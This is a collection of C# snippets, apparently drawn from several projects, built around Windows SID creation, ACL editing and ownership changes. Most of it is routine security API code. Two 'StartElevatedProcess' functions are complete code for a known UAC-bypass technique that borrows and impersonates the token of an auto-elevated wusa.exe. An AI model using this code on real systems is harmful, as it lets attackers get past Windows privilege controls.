public static bool AllocateAndInitializeSid(byte nSubAuthorityCount, uint nSubAuthority0, uint nSubAuthority1, uint nSubAuthority2, uint nSubAuthority3, uint nSubAuthority4, uint nSubAuthority5, uint nSubAuthority6, uint nSubAuthority7, out SafeSidPtr pSid) { SafeLocalFree safeLocalFree = null; try { SID_IDENTIFIER_AUTHORITY sID_IDENTIFIER_AUTHORITY = default(SID_IDENTIFIER_AUTHORITY); sID_IDENTIFIER_AUTHORITY.m_Value0 = SafeSidPtr.SECURITY_NT_AUTHORITY[0]; sID_IDENTIFIER_AUTHORITY.m_Value1 = SafeSidPtr.SECURITY_NT_AUTHORITY[1]; sID_IDENTIFIER_AUTHORITY.m_Value2 = SafeSidPtr.SECURITY_NT_AUTHORITY[2]; sID_IDENTIFIER_AUTHORITY.m_Value3 = SafeSidPtr.SECURITY_NT_AUTHORITY[3]; sID_IDENTIFIER_AUTHORITY.m_Value4 = SafeSidPtr.SECURITY_NT_AUTHORITY[4]; sID_IDENTIFIER_AUTHORITY.m_Value5 = SafeSidPtr.SECURITY_NT_AUTHORITY[5]; int cb = Marshal.SizeOf(sID_IDENTIFIER_AUTHORITY); safeLocalFree = SafeLocalFree.LocalAlloc(cb); Marshal.StructureToPtr(sID_IDENTIFIER_AUTHORITY, safeLocalFree.DangerousGetHandle(), true); return(NativeMemoryMethods.AllocateAndInitializeSid(safeLocalFree, nSubAuthorityCount, nSubAuthority0, nSubAuthority1, nSubAuthority2, nSubAuthority3, nSubAuthority4, nSubAuthority5, nSubAuthority6, nSubAuthority7, out pSid)); } finally { if (safeLocalFree != null) { safeLocalFree.Close(); } } }
public static Sid Create( string machineName, SID_IDENTIFIER_AUTHORITY identifierAuthority, params UInt32 [] subAuthorities) { return(UnsafeCreateSid(machineName, identifierAuthority, subAuthorities)); }
public static Sid Create( string machineName, SID_IDENTIFIER_AUTHORITY identifierAuthority, params UInt32 []subAuthorities) { return UnsafeCreateSid(machineName, identifierAuthority, subAuthorities); }
/// <summary> /// Initializes the specified sid authority. /// </summary> /// <param name="sidAuthority">The sid authority.</param> /// <param name="subAuth0">The sub auth0.</param> /// <param name="subAuthorities1to7">The sub authorities1to7.</param> /// <returns></returns> /// <exception cref="System.ArgumentOutOfRangeException"> /// sidAuthority /// or /// subAuthorities1to7 /// </exception> public static PSID Init(byte[] sidAuthority, int subAuth0, params int[] subAuthorities1to7) { if (sidAuthority == null || sidAuthority.Length != 6) { throw new ArgumentOutOfRangeException(nameof(sidAuthority)); } if (subAuthorities1to7.Length > 7) { throw new ArgumentOutOfRangeException(nameof(subAuthorities1to7)); } var sia = new SID_IDENTIFIER_AUTHORITY(sidAuthority); IntPtr res = IntPtr.Zero; try { AllocateAndInitializeSid(ref sia, (byte)(subAuthorities1to7.Length + 1), subAuth0, subAuthorities1to7.Length > 0 ? subAuthorities1to7[0] : 0, subAuthorities1to7.Length > 1 ? subAuthorities1to7[1] : 0, subAuthorities1to7.Length > 2 ? subAuthorities1to7[2] : 0, subAuthorities1to7.Length > 3 ? subAuthorities1to7[3] : 0, subAuthorities1to7.Length > 4 ? subAuthorities1to7[4] : 0, subAuthorities1to7.Length > 5 ? subAuthorities1to7[5] : 0, subAuthorities1to7.Length > 6 ? subAuthorities1to7[6] : 0, out res); return(Copy(res)); } finally { FreeSid(res); } }
private static SID_IDENTIFIER_AUTHORITY CreateAuthority(byte[] auth) { Debug.Assert(auth.Length == 6); SID_IDENTIFIER_AUTHORITY res = new SID_IDENTIFIER_AUTHORITY(); res.Value = auth; return(res); }
private static extern bool AllocateAndInitializeSid( [InAttribute] ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, byte nSubAuthorityCount, uint nSubAuthority0, uint nSubAuthority1, uint nSubAuthority2, uint nSubAuthority3, uint nSubAuthority4, uint nSubAuthority5, uint nSubAuthority6, uint nSubAuthority7, ref IntPtr pSid);
internal unsafe static extern bool AllocateAndInitializeSid( [In] ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, // authority byte nSubAuthorityCount, // count of subauthorities System.UInt32 dwSubAuthority0, // subauthority 0 System.UInt32 dwSubAuthority1, // subauthority 1 System.UInt32 dwSubAuthority2, // subauthority 2 System.UInt32 dwSubAuthority3, // subauthority 3 System.UInt32 dwSubAuthority4, // subauthority 4 System.UInt32 dwSubAuthority5, // subauthority 5 System.UInt32 dwSubAuthority6, // subauthority 6 System.UInt32 dwSubAuthority7, // subauthority 7 [Out] out System.IntPtr pSid // SID );
public static extern Boolean AllocateAndInitializeSid( ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, byte nSubAuthorityCount, int dwSubAuthority0, int dwSubAuthority1, int dwSubAuthority2, int dwSubAuthority3, int dwSubAuthority4, int dwSubAuthority5, int dwSubAuthority6, int dwSubAuthority7, out IntPtr pSid );
public static IntPtr AllocateAndInitializeSid() { SID_IDENTIFIER_AUTHORITY pIdentifierAuthority = new SID_IDENTIFIER_AUTHORITY { Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 } }; byte nSubAuthorityCount = 1; IntPtr pSid = new IntPtr(); if (!Natives.AllocateAndInitializeSid(ref pIdentifierAuthority, nSubAuthorityCount, 0x2000, 0, 0, 0, 0, 0, 0, 0, out pSid)) { return(IntPtr.Zero); } return(pSid); }
/// <summary> /// Changes key permissions /// </summary> /// <param name="RootKey"></param> /// <param name="SubKey"></param> /// <param name="AccountName"></param> /// <param name="AccessMask"></param> /// <param name="accessTypes"></param> /// <param name="Inheritence"></param> /// <returns></returns> public bool ChangeKeyPermissions(ROOT_KEY RootKey, string SubKey, string AccountName, RegistryAccess AccessMask, AccessTypes accessTypes, InheritenceFlags Inheritence) { // set key permissions (gate) IntPtr lKey = IntPtr.Zero; ACCOUNT_PERM tAccount = new ACCOUNT_PERM(); SID_IDENTIFIER_AUTHORITY tAuthority = new SID_IDENTIFIER_AUTHORITY(); try { // default account tAccount.AccountName = ""; tAccount.AccessMask = (uint)ACCESS_MASK.GENERIC_READ; tAccount.AceFlags = (byte)CONTAINER_INHERIT_ACE; tAccount.AceType = (byte)ACCESS_ALLOWED_ACE_TYPE; tAccount.pSid = IntPtr.Zero; tAuthority.Value = new byte[] { 0, 0, 0, 0, 0, (byte)SECURITY_WORLD_SID_AUTHORITY }; // test access if (AllocateAndInitializeSid(ref tAuthority, (byte)1, (int)SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, ref tAccount.pSid) == true) { // set up account tAccount.AccountName = AccountName; tAccount.AccessMask = (uint)AccessMask; tAccount.AceFlags = (byte)Inheritence; tAccount.AceType = (byte)accessTypes; tAccount.pSid = IntPtr.Zero; tAccount.SidPassedByCaller = false; // apply change to key if ((RegOpenKeyEx(RootKey, SubKey, 0, (int)(READ_CONTROL | WRITE_DAC), ref lKey) == 0)) { return SetKeyPermissions(lKey, tAccount); } } return false; } finally { // cleanup if (lKey != IntPtr.Zero) { RegCloseKey(lKey); } if ((tAccount.pSid != IntPtr.Zero) && (tAccount.SidPassedByCaller == true)) { FreeSid(tAccount.pSid); tAccount.pSid = IntPtr.Zero; } } }
public PROCESS_INFORMATION StartElevatedProcess(string binary, [Optional] int elevatedPID) { IntPtr hProcess = IntPtr.Zero; if (elevatedPID > 0) { hProcess = OpenProcess(0x00001000, false, elevatedPID); } else { SHELLEXECUTEINFO shellInfo = new SHELLEXECUTEINFO(); shellInfo.cbSize = Marshal.SizeOf(shellInfo); shellInfo.fMask = 0x40; shellInfo.lpFile = "wusa.exe"; shellInfo.nShow = 0x0; if (!ShellExecuteEx(ref shellInfo)) { throw new SystemException("[x] Failed to create process"); } hProcess = shellInfo.hProcess; } if (hProcess == IntPtr.Zero) { throw new SystemException("[x] Failed to process handle"); } IntPtr hToken = IntPtr.Zero; if (!OpenProcessToken(hProcess, 0x02000000, ref hToken)) { throw new SystemException("[x] Failed to open process token"); } IntPtr hNewToken = IntPtr.Zero; SECURITY_ATTRIBUTES secAttribs = new SECURITY_ATTRIBUTES(); if (!DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hNewToken)) { throw new SystemException("[x] Failed to duplicate process token"); } SID_IDENTIFIER_AUTHORITY sia = new SID_IDENTIFIER_AUTHORITY(); sia.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; IntPtr pSID = IntPtr.Zero; if (!AllocateAndInitializeSid(ref sia, 1, 0x2000, 0, 0, 0, 0, 0, 0, 0, ref pSID)) { throw new SystemException("[x] Failed to initialize SID"); } SID_AND_ATTRIBUTES saa = new SID_AND_ATTRIBUTES(); saa.Sid = pSID; saa.Attributes = 0x20; TOKEN_MANDATORY_LABEL tml = new TOKEN_MANDATORY_LABEL(); tml.Label = saa; int tmlSize = Marshal.SizeOf(tml); if (NtSetInformationToken(hNewToken, 25, ref tml, tmlSize) != 0) { throw new SystemException("[x] Failed to modify token"); } IntPtr luaToken = IntPtr.Zero; if (NtFilterToken(hNewToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref luaToken) != 0) { throw new SystemException("[x] Failed to create restricted token"); } hNewToken = IntPtr.Zero; secAttribs = new SECURITY_ATTRIBUTES(); if (!DuplicateTokenEx(luaToken, 0xc, ref secAttribs, 2, 2, ref hNewToken)) { throw new SystemException("[x] Failed to duplicate restricted token"); } if (!ImpersonateLoggedOnUser(hNewToken)) { throw new SystemException("[x] Failed to impersonate context"); } STARTUPINFO sInfo = new STARTUPINFO(); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); CreateProcessWithLogonW("xxx", "xxx", "xxx", LogonFlags.LOGON_NETCREDENTIALS_ONLY, binary, "", CreationFlags.CREATE_SUSPENDED, 0, @"C:\\Windows\\System32", ref sInfo, out pInfo); if (elevatedPID == 0) { if (!TerminateProcess(hProcess, 1)) { Console.WriteLine("Warning, failed to terminate wusa.exe"); } } return(pInfo); }
/// <summary> /// Sets the integrity level of the given access token. /// </summary> /// <param name="token">handle to the access token</param> /// <param name="mlrid">mandatory integrity level</param> private static void SetTokenMandatoryLabel(IntPtr token, MandatoryLabel mlrid) { SID_IDENTIFIER_AUTHORITY mlauth = new SID_IDENTIFIER_AUTHORITY() { Value = MANDATORY_LABEL_AUTHORITY }; TOKEN_MANDATORY_LABEL tml = new TOKEN_MANDATORY_LABEL(); IntPtr mlauthptr; IntPtr sidptr; IntPtr tmlptr; int tmlsz; int errno = 0; mlauthptr = Marshal.AllocHGlobal(Marshal.SizeOf(mlauth)); Marshal.StructureToPtr(mlauth, mlauthptr, false); if (!Security.AllocateAndInitializeSid(mlauthptr, 1, (int)mlrid, 0, 0, 0, 0, 0, 0, 0, out sidptr)) { errno = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(mlauthptr); throw new IOException("Failed to allocate new SID. (" + errno + ")"); } Marshal.FreeHGlobal(mlauthptr); tml.Label.Sid = sidptr; tml.Label.Attributes = SE_GROUP_INTEGRITY; tmlsz = Marshal.SizeOf(tml); tmlptr = Marshal.AllocHGlobal(tmlsz); Marshal.StructureToPtr(tml, tmlptr, false); if (!Security.SetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, tmlptr, tmlsz)) { errno = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(sidptr); Marshal.FreeHGlobal(tmlptr); throw new IOException("Failed to set token mandatory label. (" + errno + ")"); } Marshal.FreeHGlobal(sidptr); Marshal.FreeHGlobal(tmlptr); }
/// <summary> /// Sets the mandatory label on the given file or directory object. /// </summary> /// <param name="target">target file or directory path</param> /// <param name="flags">flags to control inheritance</param> /// <param name="policy">access policy</param> /// <param name="mlrid">mandatory integrity level</param> public static void SetFileMandatoryLabel(string target, AceFlags flags, MandatoryPolicy policy, MandatoryLabel mlrid) { SID_IDENTIFIER_AUTHORITY mlauth = new SID_IDENTIFIER_AUTHORITY() { Value = MANDATORY_LABEL_AUTHORITY }; SYSTEM_MANDATORY_LABEL_ACE mlace = new SYSTEM_MANDATORY_LABEL_ACE(); ACL acl = new ACL(); IntPtr sdptr = new IntPtr(0); IntPtr saclptr; IntPtr mlauthptr; IntPtr sidptr; IntPtr newsdptr = new IntPtr(0); int szneeded = 0; int size = 0; bool present = false; bool defaulted = false; int errno = 0; if (!File.Exists(target) && !Directory.Exists(target)) throw new FileNotFoundException("The path '" + target + "' was not found."); Security.GetFileSecurity(target, LABEL_SECURITY_INFORMATION, sdptr, size, ref szneeded); sdptr = Marshal.AllocHGlobal(szneeded); size = szneeded; if (!Security.GetFileSecurity(target, LABEL_SECURITY_INFORMATION, sdptr, size, ref szneeded)) { errno = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(sdptr); throw new IOException("Failed to read file security information. (" + errno + ")"); } if (!Security.GetSecurityDescriptorSacl(sdptr, ref present, out saclptr, ref defaulted)) { errno = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(sdptr); throw new IOException("Failed to read security descriptor SACL. (" + errno + ")"); } if (!Security.ConvertSecurityDescriptor(sdptr, out newsdptr, out errno)) { Marshal.FreeHGlobal(sdptr); throw new IOException("Failed to convert security descriptor. (" + errno + ")"); } Marshal.FreeHGlobal(sdptr); mlauthptr = Marshal.AllocHGlobal(Marshal.SizeOf(mlauth)); Marshal.StructureToPtr(mlauth, mlauthptr, false); if (!Security.AllocateAndInitializeSid(mlauthptr, 1, (int)mlrid, 0, 0, 0, 0, 0, 0, 0, out sidptr)) { errno = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(newsdptr); Marshal.FreeHGlobal(mlauthptr); throw new IOException("Failed to allocate new SID. (" + errno + ")"); } Marshal.FreeHGlobal(mlauthptr); int cbAcl = Marshal.SizeOf(acl) + Marshal.SizeOf(mlace) + (Security.GetLengthSid(sidptr) - sizeof(int)); cbAcl = (cbAcl + (sizeof(int) - 1)) & 0xfffc; /* align cbAcl to an int */ saclptr = Marshal.AllocHGlobal(cbAcl); if (!InitializeAcl(saclptr, cbAcl, ACL_REVISION)) { errno = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(newsdptr); Marshal.FreeHGlobal(sidptr); Marshal.FreeHGlobal(saclptr); throw new IOException("Failed to initialise new ACL. (" + errno + ")"); } if (!Security.AddMandatoryAce(saclptr, ACL_REVISION, (int)flags, (int)policy, sidptr)) { errno = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(newsdptr); Marshal.FreeHGlobal(sidptr); Marshal.FreeHGlobal(saclptr); throw new IOException("Failed to add new mandatory ACE. (" + errno + ")"); } Marshal.FreeHGlobal(sidptr); if (!Security.SetSecurityDescriptorSacl(newsdptr, true, saclptr, false)) { errno = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(newsdptr); Marshal.FreeHGlobal(saclptr); throw new IOException("Failed to set security descriptor SACL. (" + errno + ")"); } if (!Security.SetFileSecurity(target, LABEL_SECURITY_INFORMATION, newsdptr)) { errno = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(newsdptr); Marshal.FreeHGlobal(saclptr); throw new IOException("Failed to write file security information. (" + errno + ")"); } Marshal.FreeHGlobal(newsdptr); Marshal.FreeHGlobal(saclptr); }
public static void GrantAdministratorsAccess(string name, SE_OBJECT_TYPE type) { SID_IDENTIFIER_AUTHORITY sidNTAuthority = SECURITY_NT_AUTHORITY; // Create a SID for the BUILTIN\Administrators group. IntPtr sidAdmin = IntPtr.Zero; AllocateAndInitializeSid(ref sidNTAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, ref sidAdmin); // Set full control for Administrators. EXPLICIT_ACCESS[] explicitAccesss = new EXPLICIT_ACCESS[1]; explicitAccesss[0].grfAccessPermissions = ACCESS_MASK.GENERIC_ALL; explicitAccesss[0].grfAccessMode = ACCESS_MODE.SET_ACCESS; explicitAccesss[0].grfInheritance = NO_INHERITANCE; explicitAccesss[0].Trustee.TrusteeForm = TRUSTEE_FORM.TRUSTEE_IS_SID; explicitAccesss[0].Trustee.TrusteeType = TRUSTEE_TYPE.TRUSTEE_IS_GROUP; explicitAccesss[0].Trustee.ptstrName = sidAdmin; IntPtr acl = IntPtr.Zero; SetEntriesInAcl(1, ref explicitAccesss[0], 0, ref acl); Action <string, bool> setPrivilege = (privilege, allow) => { IntPtr token = IntPtr.Zero; TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES(); OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out token); if (allow) { LUID luid; LookupPrivilegeValueA(null, privilege, out luid); tokenPrivileges.PrivilegeCount = 1; tokenPrivileges.Privileges = new LUID_AND_ATTRIBUTES[1]; tokenPrivileges.Privileges[0].Luid = luid; tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } AdjustTokenPrivileges(token, false, ref tokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero); CloseHandle(token); }; // Enable the SE_TAKE_OWNERSHIP_NAME privilege. setPrivilege(SE_TAKE_OWNERSHIP_NAME, true); // Set the owner in the object's security descriptor. SetNamedSecurityInfo( name, type, SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION, sidAdmin, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); // Disable the SE_TAKE_OWNERSHIP_NAME privilege. setPrivilege(SE_TAKE_OWNERSHIP_NAME, false); //// Modify the object's DACL, //SetNamedSecurityInfo( // name, // type, // SECURITY_INFORMATION.DACL_SECURITY_INFORMATION, // IntPtr.Zero, IntPtr.Zero, // acl, // IntPtr.Zero); FreeSid(sidAdmin); LocalFree(acl); }
private static extern Int32 RtlInitializeSid([In, Out] ref SID Sid, [In] ref SID_IDENTIFIER_AUTHORITY IdentifierAuthority, byte SubAuthorityCount);
static extern bool AllocateAndInitializeSid(ref SID_IDENTIFIER_AUTHORITY pAuthority, byte subAuthorityCount, int subAuthority0, int subAuthority1, int subAuthority2, int subAuthority3, int subAuthority4, int subAuthority5, int subAuthority6, int subAuthority7, ref IntPtr pSid);
public static Sid Create( SID_IDENTIFIER_AUTHORITY identifierAuthority, params UInt32 [] subAuthorities) { return(UnsafeCreateSid("", identifierAuthority, subAuthorities)); }
public static Sid Create( SID_IDENTIFIER_AUTHORITY identifierAuthority, params UInt32 []subAuthorities) { return UnsafeCreateSid("", identifierAuthority, subAuthorities); }
/// <summary> /// Create a SID blob given an Authority and a variable array of sub authorities. /// </summary> /// <param name="IdentifierAuthority"></param> /// <param name="SubAuthorities"></param> /// <returns>The Sid object</returns> public unsafe static Sid UnsafeCreateSid( string machineName, SID_IDENTIFIER_AUTHORITY IdentifierAuthority, params UInt32 []SubAuthorities) { if (SubAuthorities.Length >= 255) throw new ArgumentException("Too many sub authorities", "SubAuthorities"); byte nSubAuth = (byte)SubAuthorities.Length; UInt32 cbLength = Win32.GetSidLengthRequired(nSubAuth); byte[] sid = new byte[cbLength]; fixed(byte *psid = sid) { IntPtr psidPtr = (IntPtr)psid; BOOL rc = Win32.InitializeSid(psidPtr, ref IdentifierAuthority, nSubAuth); Win32.CheckCall(rc); for(byte i = 0; i < nSubAuth; i++) { IntPtr ridPtr = Win32.GetSidSubAuthority(psidPtr, i); Marshal.WriteInt32(ridPtr, (int)SubAuthorities[i]); } return new Sid(psidPtr, machineName); } }
// ACLQueue: // - Local System - Full Control // - Administrators - Full Control internal unsafe static bool ACLQueue(string messageQueue) { messageQueue = @messageQueue; ACL_SIZE_INFORMATION si = new ACL_SIZE_INFORMATION(); uint size = (uint)sizeof(ACL_SIZE_INFORMATION); uint cb = si.AclBytesInUse + _maxVersion2AceSize; // Files and Folders inherit all ACE's uint grfInherit = OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE; SID * pAdminSID = null; SID * pSystemSID = null; ACL * pdacl = null; void *pSD = null; try { SID_IDENTIFIER_AUTHORITY SIDAuthNT = new SID_IDENTIFIER_AUTHORITY(); // Defined in winnt.h (&SIDAuthNT.Value_6)[0] = 0; (&SIDAuthNT.Value_6)[1] = 0; (&SIDAuthNT.Value_6)[2] = 0; (&SIDAuthNT.Value_6)[3] = 0; (&SIDAuthNT.Value_6)[4] = 0; (&SIDAuthNT.Value_6)[5] = 5; uint SECURITY_BUILTIN_DOMAIN_RID = 0x00000020; //defined in winnt.h uint DOMAIN_ALIAS_RID_ADMINS = 0x00000220; // defined in winnt.h uint SECURITY_LOCAL_SYSTEM_RID = 0x00000012; // defined in winnt.h ACL *pdaclNew = (ACL *)LocalAlloc(0, cb); InitializeAcl(ref (*pdaclNew), cb, ACL_REVISION); // Administrators Full Control if (AllocateAndInitializeSid(&SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, out pAdminSID)) { if (IsValidSid(pAdminSID)) { if (!AddAccessAllowedAceEx(pdaclNew, ACL_REVISION, grfInherit, MQSEC_QUEUE_GENERIC_ALL, pAdminSID)) { throw new Exception(); } } } // Local System Full Control if (AllocateAndInitializeSid(&SIDAuthNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, out pSystemSID)) { if (IsValidSid(pSystemSID)) { if (!AddAccessAllowedAceEx(pdaclNew, ACL_REVISION, grfInherit, MQSEC_QUEUE_GENERIC_ALL, pSystemSID)) { throw new Exception(); } } } pSD = (void *)LocalAlloc(0, 200); if (!InitializeSecurityDescriptor(pSD, 1)) { throw new Exception(); } if (!SetSecurityDescriptorDacl(pSD, true, pdaclNew, false)) { throw new Exception(); } if (!IsValidSecurityDescriptor(pSD)) { throw new Exception(); } MessageQueue mq = new MessageQueue(messageQueue); if (MQSetQueueSecurity(mq.FormatName, DACL_SECURITY_INFORMATION, pSD) != 0) { throw new Exception(); } } catch { return(false); } finally { if (pSD != null) { LocalFree(pSD); } if (pdacl != null) { LocalFree(pdacl); } if (pAdminSID != null) { LocalFree(pAdminSID); } if (pSystemSID != null) { LocalFree(pSystemSID); } } return(true); }
public static extern BOOL InitializeSid(PSID Sid, [In] ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, UCHAR nSubAuthorityCount);
public static PROCESS_INFORMATION StartElevatedProcess(string binary, [Optional] int elevatedPID) { IntPtr hProcess = IntPtr.Zero; if (elevatedPID > 0) { hProcess = OpenProcess(0x00001000, false, elevatedPID); } else { SHELLEXECUTEINFO shellInfo = new SHELLEXECUTEINFO(); shellInfo.cbSize = Marshal.SizeOf(shellInfo); shellInfo.fMask = 0x40; shellInfo.lpFile = "wusa.exe"; shellInfo.nShow = 0x0; ShellExecuteEx(ref shellInfo); hProcess = shellInfo.hProcess; } IntPtr hToken = IntPtr.Zero; OpenProcessToken(hProcess, 0x02000000, ref hToken); IntPtr hNewToken = IntPtr.Zero; SECURITY_ATTRIBUTES secAttribs = new SECURITY_ATTRIBUTES(); DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hNewToken); SID_IDENTIFIER_AUTHORITY sia = new SID_IDENTIFIER_AUTHORITY(); sia.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; IntPtr pSID = IntPtr.Zero; AllocateAndInitializeSid(ref sia, 1, 0x2000, 0, 0, 0, 0, 0, 0, 0, ref pSID); SID_AND_ATTRIBUTES saa = new SID_AND_ATTRIBUTES(); saa.Sid = pSID; saa.Attributes = 0x20; TOKEN_MANDATORY_LABEL tml = new TOKEN_MANDATORY_LABEL(); tml.Label = saa; int tmlSize = Marshal.SizeOf(tml); NtSetInformationToken(hNewToken, 25, ref tml, tmlSize); IntPtr luaToken = IntPtr.Zero; NtFilterToken(hNewToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref luaToken); hNewToken = IntPtr.Zero; secAttribs = new SECURITY_ATTRIBUTES(); DuplicateTokenEx(luaToken, 0xc, ref secAttribs, 2, 2, ref hNewToken); ImpersonateLoggedOnUser(hNewToken); STARTUPINFO sInfo = new STARTUPINFO(); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); CreateProcessWithLogonW("xxx", "xxx", "xxx", LogonFlags.LogonNetCredentialsOnly, binary, "", CreationFlags.CreateSuspended, 0, @"C:\Windows\System32", ref sInfo, out pInfo); if (elevatedPID == 0) { TerminateProcess(hProcess, 1); } return(pInfo); }
/// <summary> /// Changes object ownership /// </summary> /// <param name="ObjectName"></param> /// <param name="ObjectType"></param> /// <returns></returns> public bool ChangeObjectOwnership(string ObjectName, SE_OBJECT_TYPE ObjectType) { bool success = false; IntPtr pSidAdmin = IntPtr.Zero; IntPtr pAcl = IntPtr.Zero; string name = ObjectName; SID_IDENTIFIER_AUTHORITY sidNTAuthority = new SID_IDENTIFIER_AUTHORITY() { Value = new byte[] { 0, 0, 0, 0, 0, 5 } }; success = AllocateAndInitializeSid(ref sidNTAuthority, (byte)2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, ref pSidAdmin); if (ObjectName.StartsWith("HKEY_CLASSES_ROOT")) { name = ObjectName.Replace("HKEY_CLASSES_ROOT", "CLASSES_ROOT"); } else if (ObjectName.StartsWith("HKEY_CURRENT_USER")) { name = ObjectName.Replace("HKEY_CURRENT_USER", "CURRENT_USER"); } else if (ObjectName.StartsWith("HKEY_LOCAL_MACHINE")) { name = ObjectName.Replace("HKEY_LOCAL_MACHINE", "MACHINE"); } else if (ObjectName.StartsWith("HKEY_USERS")) { name = ObjectName.Replace("HKEY_USERS", "USERS"); } if (success) { EXPLICIT_ACCESS[] explicitAccesss = new EXPLICIT_ACCESS[1]; explicitAccesss[0].grfAccessPermissions = ACCESS_MASK.GENERIC_ALL; explicitAccesss[0].grfAccessMode = ACCESS_MODE.SET_ACCESS; explicitAccesss[0].grfInheritance = NO_INHERITANCE; explicitAccesss[0].Trustee.TrusteeForm = TRUSTEE_FORM.TRUSTEE_IS_SID; explicitAccesss[0].Trustee.TrusteeType = TRUSTEE_TYPE.TRUSTEE_IS_GROUP; explicitAccesss[0].Trustee.ptstrName = pSidAdmin; //modify dacl SetEntriesInAcl(1, ref explicitAccesss[0], IntPtr.Zero, out pAcl); success = SetPrivilege(SE_TAKE_OWNERSHIP_NAME, true); if (success) { // set admin as owner int p = SetNamedSecurityInfo(name, ObjectType, SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION, pSidAdmin, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); success = SetPrivilege(SE_TAKE_OWNERSHIP_NAME, false); if (success) { SetNamedSecurityInfo(name, ObjectType, SECURITY_INFORMATION.DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, pAcl, IntPtr.Zero); } } } if (pSidAdmin != IntPtr.Zero) { FreeSid(pSidAdmin); } if (pAcl != IntPtr.Zero) { LocalFree(pAcl); } return success; }